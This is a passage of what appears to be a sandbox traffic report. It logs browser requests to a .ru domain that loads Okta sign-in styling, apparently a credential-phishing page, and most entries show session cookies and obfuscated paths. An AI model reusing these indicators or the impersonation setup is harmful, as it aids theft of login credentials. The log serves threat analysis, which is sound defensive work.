laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T205513Z&X-Amz-Expires=300&X-Amz-Signature=e616e7388ad102e9cb0d3ae02f97cd7c71b53bb553c2889c097375ffd2fede86&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mn7axJgNsfJZOnXe9HMLiMbkijOyTcCkXpGKdJddrqJTO29kXFFoLgmgRouv220 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjJVYndkK0dCY2FoRGdTdGdKMXMrSFE9PSIsInZhbHVlIjoiTHVzMDhDNXFoYzJIZnBlQWRtNzlVd2MwZnpReEJVYThMWTg4a1NpeTh4ekNiMW9IT3JyeEhyVlA5UUFseWNUWmxzT3FpQ1ZzSXNPWkpUbFV3SG0yY25sRjYzTSs4SGErWEZ4bWpxSHRGcC9FUzIrLy9DakIzOHl6S1B2d2JHQWsiLCJtYWMiOiJiZjIwNGRjMDc4NDAzYmJkNTNhOGE1ZDAzZDc4NjBmNjQ3NWQzMzk2YWFmNGJjNDZhYzg5YmE4YWY3NmJiMDMyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjRkVEdNV3VhTko2TmRCMzY0RXloVUE9PSIsInZhbHVlIjoiZ0pucVFXb2tmbXVNUlIvMEdraHJYRHNBblFaZXExZG4yUGQzS0lxWVdSMDVRV1k0QTFnbUMxR3JQbC9aTW1ZTm5wN1d6ZW9JV1NTWGJKcGIxR1FJZnQ4TXBETjlvRDYxNk92cHd5cGRjYld4TTRSYTRxUlRSbzZJeTBVU1pNMFIiLCJtYWMiOiJkMDdkYTlhZWY2NmNlNjk4ZTBiMTQzZDExYzQ2YWQ3MTNkNzc0ZmRiN2Q0MTkyZDBhNjRhYTIyZWI3OTI2NjFlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: 